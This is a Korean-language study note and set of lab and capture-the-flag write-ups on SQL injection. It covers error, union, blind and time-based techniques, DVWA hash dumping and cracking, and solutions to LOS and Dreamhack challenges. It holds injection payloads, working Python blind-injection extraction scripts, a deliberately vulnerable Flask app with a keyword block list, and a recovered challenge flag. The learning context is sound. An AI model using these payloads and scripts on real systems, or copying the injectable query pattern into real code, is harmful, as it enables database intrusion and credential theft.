SQL 인젝션 공격 유형 및 대응 방안 문서화
In-band SQLi
Error-based: 쿼리문에 오류 발생 -> 시스템 권한 체크 우회 -> 에러메세지 출력
에러메세지에 원하는 정보 첨부 가능
ex: 로그인 페이지에서 user_id와 user_pw를 입력 받을 때, SELECT user FROM users WHERE uid = ‘user_id’ AND upw = ‘user_pw’; SELECT user FROM users WHERE jid = ‘’ OR 1 = 1 – user_id에 ‘ OR 1 = 1 –(공백)을 넣으면 users 테이블에 있는 user 정보 모두 확인 가능
자주 쓰이는 함수 updatexml (null,concat(0x3a,실행할 쿼리문)),null); extractvalue (0x3a, concat(0x3a,실행할 쿼리문)));
Union-based: UNION 명령 이용, 정상쿼리+악성쿼리 합집합
UNION: 두 개의 쿼리문을 합집합하여 하나의 테이블로 보여주는 키워드 UNON을 쓰기 위한 조건
- 두 테이블의 칼럼 수가 같은가?
- 데이터 타입이 같은가?
칼럼 개수 알아내기 -SELECT 이용: 오류가 나지 않을 때, 그 숫자가 칼럼의 개수 -ORDER BY(원래 오름/내림차순 정리를 위한 명령어) 이용: 오류가 날 때, 그 직전 숫자가 칼럼의 개수
Information Schema information_schema.schemata: 데이터베이스 관련 정보 테이블 schema_name: 모든 DB 이름값을 갖는 필드
information_schema.tables: 테이블 관련 정보 테이블 table_name: 모든 테이블 이름값을 갖는 필드 table_schema: 테이블이 속한 DB 이름 table_type: 테이블 타입
information_schema.columns: 칼럼 관련 정보 테이블 column_name: 모든 칼럼 이름값을 갖는 필드
ex: 게시글을 검색할 때,
SELECT * FROM board WHERE title LIKE '%INPUT%' OR contents '%INPUT%'
SELECT * FROM board WHERE title LIKE '%' UNION SELECT null, id, passwd FROM users --
' UNION SELECT null, id, passwd FROM user --(공백) 입력(칼럼 수는 3개인 것 유추 가능)
Blind SQLi: 결과값을 참/거짓으로만 출력하는 페이지에서 인젝션
Boolean-based: 참거짓을 이용해 패턴 파악 후 유추
ex: error-based와 같은 쿼리문, DB의 테이블명 알아내기
SELECT user FROM Users WHERE uid = 'USER_ID' AND upw = 'INPUT_PW';
SELECT * FROM Users WHERE uid = 'idd3' and ASCII(SUBSTR((SELECT name FROM information_schema.tables WHERE table_type='base table' limit 0,1),1,1)) > 100 --
위 쿼리문을 삽입하고, 100을 바꿔주면서 될 때까지 시도
Time-based: 응답 전송 시간을 이용해 유추
ex: error-based와 같은 쿼리문, db의 길이 알아내기
SELECT * FROM Users WHERE id = 'abc123' OR (LENGTH(DATABASE())=1 (SLEEP 할 때까지 시도) AND SLEEP(2)) --
자주 쓰이는 함수 substring: 첫번째 인자로 받은 문자열, 지정 길이만큼 출력 ascii: 아스키코드 변환 limit: 문자열 길이 반환
Out-of-bound SQLi: 쿼리 결과 외부 채널로 전달(DNS 서버도 포함)
대응 방안
필터 로직: 데이터 길이를 제한하거나 명렁어, 특수문자 등 필터링 동적 SQL 쿼리 생성 X: 동적 sql 쿼리문 대신 지정된 형식의 데이터만 사용할 수 있도록 설계 DB 권한 제한: 신뢰할 수 있는 네트워크나 서버만 허용하는 등, 함부로 DB에 접근할 수 없도록 함
DVWA 실습 정리
1번은 스터디 시간에 성공
2번. dvwa.users 테이블의 user,password 열람

5’ UNION SSELECT user,password FROM dvwa.users# 입력 DB.Table 이름으로 from 설정해줘야 한다
3번. 존 더 리퍼를 활용해 비밀번호 해쉬를 깨서 pablo의 비밀번호 알아내기

pablo의 해쉬값 체크

텍스트 파일 만들어주기 -> 해쉬값 저장

어떤 암호화 알고리즘이 쓰였는지 체크한다 MD5 확인

존 더 리퍼를 활용하여 md5로 설정하고 텍스트 파일 안 해쉬값을 깨준다 주황색 글씨 letmein 확인
orge 라이트업

pw를 get함 이미 id는 채워져 있고 뒤에 pw가 맞는지 확인하기 때문에 권한 우회는 아닌 거 같다
pw’ or id=’admin’ and length(pw)=1# 쿼리에 pw’ or id=’admin’ and length(pw)=1%23 HeHe가 뜸 or와 and 우회필요 pw’ || id=’admin’ && length(pw)=1%23

왜인지 모르게 쿼리문이 계속 잘렸다

pw 길이의 조건만 넣었더니 hello admin이 떴다 이제 pw 구해야 한다 수업 자료에 써있는 코드 참고해서 작성해봤다
import requests
import string
url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27%20||" #url 연결
cookie=dict(PHPSESSID="9ielu089da0vp9d0pggh98v9ce") #F12 참고
char=string.digits+string.ascii_letters
result=""
for i in range(1,9): #pw 길이만큼 반복
for j in char:
param="ascii(mid(pw,"+str(i)+",1)) = "+str(ord(j))+"%23"
URL=url+param
response=requests.get(URL,cookies=cookie)
if response.text.find("Hello admin")>0:
result+=j
break
print(result)

실행하면 pw가 나온다

blind sql injection advanced 라이트업

hi 한 번 작성해봤다
nrows는 숫자 표시 → blind

아마도 admin pw가 flag일 거 같다

order by가 3까지 가능, 칼럼 개수 3
비밀번호 칼럼 어떻게 저장했는지를 알아야 할 거 같은데 서버 에러만 떠서 라업을 참고했다… 파이썬 파일만 볼 게 아니라 sql 파일도 참고해야 했다.. 칼럼명을 알 필요가 없었다..


length가 먹히는지 확인

length까지는 스스로 알아냈으나 코드 실행이 안됐다 나중에 라업을 보니 드림핵 사이트에서 플래그는 아스키코드+한글로 이루어져 있다고 명시했다….(난 못보고 지나쳤다..)

character set utf8 확인
아래 코드를 간단히 설명하면 다음과 같다
- password 각각의 자리가 몇 비트인지 체크, 그 비트 저장
- 비트 길이만큼 0000…~1111…까지 체크하면서 exist 나오면 그값이 그자리의 비트열이므로 저장
- 비트열 변환
import requests
import string
import sys
from urllib.parse import urljoin
from urllib import parse
from requests import get
host = 'http://host3.dreamhack.games:19592'
password_length = 27; #패스워드 길이
bts = [] #각 character의 비트길이
password = "" # 비밀번호(flag)
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
bts.append(bit_length)
# 각 password character의 비트 수를 확인.
for idx, i in enumerate(bts, start = 1):
bits = ""
for j in range(1, i+1):
query = f"admin' and substr(bin(ord(substr(upw, {idx}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {idx}'s bits: {bits}")
password += int.to_bytes(int(bits, 2), (i+7)//8, "big").decode('utf-8')
# idx는 character 번호 i는 character의 비트 수.
# j는 비트 순서 1~i+1까지
# 이를 bits 문자열에 넣고
# password += int.to_bytes(int(bits, 2), (i+7)//8, "big").decode('utf-8')에 넣어 UTF-8 형식으로 바꿈.
print(password)
# password 출력.

sql injection bypass WAF 라이트업
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
if check_WAF(uid):
return 'your request has been blocked by WAF.'
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
result = cur.fetchone()
if result:
return template.format(uid=uid, result=result[1])
else:
return template.format(uid=uid, result='')
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')

DB를 확인해준다 앞문제와 달리 utf-8도 아니니 그냥 아스키 코드로 구하면 될 거 같다
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
위에는 쓰면 안되는 키워드들이다. 필터링도 아니고 그냥 나가진다

char함수로 우회해보려고 했는데 잘 안됐다 애초에 권한 우회보다는 pw를 맞춰야 하는 문제인 거 같다

length 먼저 구해줬다 부등호로 10,20,30 범위를 줄이고 하나하나 대입해보면 길이를 쉽게 구할 수 있다
이것도 파이썬 코드를 짜야할 거 같다 앞에서 푼 두 문제를 활용해서 짜보았다
import requests
import string
import sys
from urllib.parse import urljoin
from urllib import parse
from requests import get
host = 'http://host3.dreamhack.games:14861/'
password_length = 44; #패스워드 길이
password = "" # 비밀번호(flag)
url=host+'?uid=%27||'
char=string.digits+string.ascii_letters
for i in range(1,45): #pw 길이만큼 반복
for j in char:
param="ascii(mid(upw,"+str(i)+",1))="+str(ord(j))+";%23"
URL=url+param
response=requests.get(URL)
if response.text.find("admin")>0:
print(j)
password+=j
break
print(str(i)+"번째 겹침")
password+=' '
print(password)

코드를 이상하게 짰다..(admin이 아닌 다른 uid가 출력되는 경우도 있을거라 생각했는데 없었나보다) 그냥 n번째 겹침이라는 출력 무시하고 나머지 이어주고 3번째와 44번째만 중괄호로 채워주면 된다 DH{bc818d522986e71f9b10afd732aef9789a6db76d}